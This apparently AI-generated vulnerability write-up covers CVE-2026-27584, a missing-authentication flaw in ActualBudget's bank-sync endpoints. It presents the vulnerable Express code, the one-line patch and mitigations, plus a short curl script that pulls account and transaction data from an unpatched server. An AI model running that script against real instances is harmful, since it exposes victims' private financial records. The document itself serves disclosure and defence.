CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27584
9.2

Zero-Dollar Auth: Leaking Bank Data with ActualBudget (CVE-2026-27584)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·6 min read·6 visits

No Known Exploit

Executive Summary (TL;DR)

The ActualBudget server forgot to ask "Who are you?" on its banking sync routes. Unauthenticated attackers could send POST requests to /simplefin or /pluggyai endpoints and download the server owner's complete financial history. Fixed in version 26.2.1 by adding session validation middleware.

ActualBudget, a local-first personal finance application designed for privacy enthusiasts, suffered from a critical authentication bypass in its server synchronization component. Specifically, the endpoints handling SimpleFIN and Pluggy.ai banking integrations lacked middleware verification, allowing unauthenticated attackers to query the server and retrieve sensitive financial data—including account balances and transaction histories—using the server owner's stored credentials.

The Hook: Privacy-First, Security-Maybe

In the modern era of surveillance capitalism, tools like ActualBudget are a godsend. They promise a "local-first" philosophy, meaning your financial data lives on your server, not in some venture-backed cloud that sells your transaction history to advertisers. Users self-host this stack, trusting that the isolation of their own infrastructure provides the ultimate security boundary.

But here is the dark irony of self-hosting: you are the sysadmin, the blue team, and the victim all at once. If the code you deploy has a hole, there is no corporate security team monitoring logs to save you. And CVE-2026-27584 is not just a hole; it is a tunnel.

This vulnerability targets the most sensitive part of the application: Bank Synchronization. To make life easier, ActualBudget integrates with providers like SimpleFIN and Pluggy.ai to automatically pull your bank transactions. The server acts as a proxy, holding the API secrets to talk to these banks. The vulnerability lies in how the server handled requests to trigger these syncs. Spoiler alert: it didn't handle them very well.

The Flaw: The Middleware That Wasn't There

Under the hood, the ActualBudget server is a Node.js application using Express.js. If you have ever written an Express app, you know that security is often a chain of responsibility—literally. You chain middleware functions together to filter traffic. A typical secure route looks like this:

app.get('/secret', checkAuth, returnSecret);

The checkAuth middleware acts as the bouncer. If you don't have a valid session, you don't get in. The flaw in ActualBudget was a classic case of "security by omission." The developers created separate sub-applications for different integrations (app-simplefin.js and app-pluggyai.js) to keep the code modular and clean. While the main application and other modules (like GoCardless) correctly implemented the validateSessionMiddleware, these two specific modules did not.

They were initialized with logging and JSON parsing, but the session guard was completely absent. In the world of web frameworks, silence is consent. Because the code did not explicitly say "Stop unauthenticated users," Express happily passed the requests straight to the business logic. The server assumed that if you were knocking on the door, you must belong there.

The Code: A One-Line Catastrophe

Let's look at the "smoking gun" in packages/sync-server/src/app-simplefin/app-simplefin.js. This is where the magic (and the tragedy) happens. The fix, applied in commit ea937d100956ca56689ff852d99c28589e2a7d88, reveals just how simple the oversight was.

The Vulnerable Code:

// ... imports ...
import { requestLoggerMiddleware } from '../util/middlewares';
 
const app = express();
export { app as handlers };
 
app.use(requestLoggerMiddleware);
app.use(express.json());
 
// ROUTES DEFINED BELOW IMMEDIATELY
app.post('/accounts', async (req, res) => {
  // ... fetches your bank data ...
});

Notice anything missing? The code logs the request (requestLoggerMiddleware) and parses the body (express.json()), but it never checks if the request comes from a logged-in user. It just executes.

The Fix:

+ import {
+   requestLoggerMiddleware,
+   validateSessionMiddleware, // <--- The Bouncer
+ } from '../util/middlewares';
 
  const app = express();
  export { app as handlers };
 
  app.use(requestLoggerMiddleware);
  app.use(express.json());
+ app.use(validateSessionMiddleware); // <--- The Lock

By adding that single line, the application now checks for a valid session cookie or token before processing any routes defined below it. Without it, the endpoint was effectively public API documentation for your bank account.

The Exploit: cURLing for Cash Flow

Exploiting this requires zero sophistication. There is no heap corruption, no race condition, and no cryptographic breakage. You simply ask the server for the data, and it gives it to you. An attacker scans the internet for exposed ActualBudget instances (which often run on default ports) and fires off a simple HTTP request.

Here is what a theoretical attack looks like. The attacker doesn't even need to know the user's username. They just hit the /simplefin/accounts endpoint.

#!/bin/bash
TARGET="http://victim-finance-server.com:5006"
 
# Step 1: Check if SimpleFIN is configured
echo "[*] Probing status..."
curl -s -X POST "$TARGET/simplefin/status" | jq .
 
# Step 2: Loot the vault
echo "[*] Extracting bank accounts..."
curl -s -X POST "$TARGET/simplefin/accounts" \
     -H "Content-Type: application/json" \
     -d '{}' | jq .

> [!WARNING] > The Response: If the server owner has connected their bank, the server responds with a JSON object containing accounts (balances, names, types) and potentially transactions (payees, amounts, dates).

The server performs the authentication with the bank using the stored keys on the backend, effectively laundering the unauthenticated request into an authenticated banking session.

The Impact: Financial Voyeurism

The CVSS score of 9.2 is not an exaggeration. While this vulnerability does not allow Remote Code Execution (RCE) or direct modification of the server's filesystem, the Confidentiality Impact is catastrophic. We are talking about personal finance data.

An attacker exploiting this can view:

  • Real-time Balances: How much money you have in checking, savings, and investment accounts.
  • Transaction History: Where you shop, how much you pay for rent, medical expenses, salary deposits, and debt payments.
  • Financial Habits: Enough metadata to construct a highly effective phishing campaign or simply doxx the user.

Furthermore, because ActualBudget is often self-hosted by technical users who might expose it to the internet for mobile access (without a VPN), the attack surface is wider than just "internal networks." The breach of trust here is total; a tool designed to protect your data from third parties ended up serving it to the entire internet.

The Fix: Closing the Door

The remediation is straightforward: Update to version 26.2.1 immediately. The developers have patched the missing middleware and added additional authorization checks to ensure that file access permissions are strictly enforced.

If you cannot update immediately, you must mitigate this at the network layer:

  1. Reverse Proxy Rules: If you use Nginx or Traefik, block access to paths starting with /simplefin and /pluggyai from external IP addresses.
  2. Disable Integrations: In the server configuration, remove the SimpleFIN and Pluggy tokens until the patch is applied.

For developers reading this, the lesson is clear: Authorization and Authentication should be default-deny. Use global middleware that enforces authentication on all routes by default, and only whitelist specific public endpoints (like login pages). Relying on remembering to add validateSession to every new file is a strategy that will eventually fail.

Official Patches

ActualBudgetOfficial Release Notes for v26.2.1
GitHubCommit fixing the authentication middleware

Fix Analysis (2)

Technical Appendix

CVSS Score
9.2/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Affected Systems

ActualBudget Server (sync-server)

Affected Versions Detail

Product
Affected Versions
Fixed Version
ActualBudget Server
ActualBudget
< 26.2.126.2.1
AttributeDetail
CWECWE-306 (Missing Authentication for Critical Function)
CVSS v4.09.2 (Critical)
Attack VectorNetwork (AV:N)
Attack ComplexityLow (AC:L)
Privileges RequiredNone (PR:N)
Confidentiality ImpactHigh (VC:H)
Affected ComponentsSimpleFIN & Pluggy.ai Integration Modules

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1539Steal Web Session Cookie
Credential Access
CWE-306
Missing Authentication for Critical Function

The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Known Exploits & Detection

TheoreticalDirect CURL POST request to /simplefin/accounts endpoints.

Vulnerability Timeline

Fix committed to repository (ea937d10)
2026-02-19
Version 26.2.1 released
2026-02-22
CVE-2026-27584 and GHSA published
2026-02-24

References & Sources

  • [1]GHSA-m2cq-xjgm-f668 Advisory
  • [2]ActualBudget Project Homepage

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.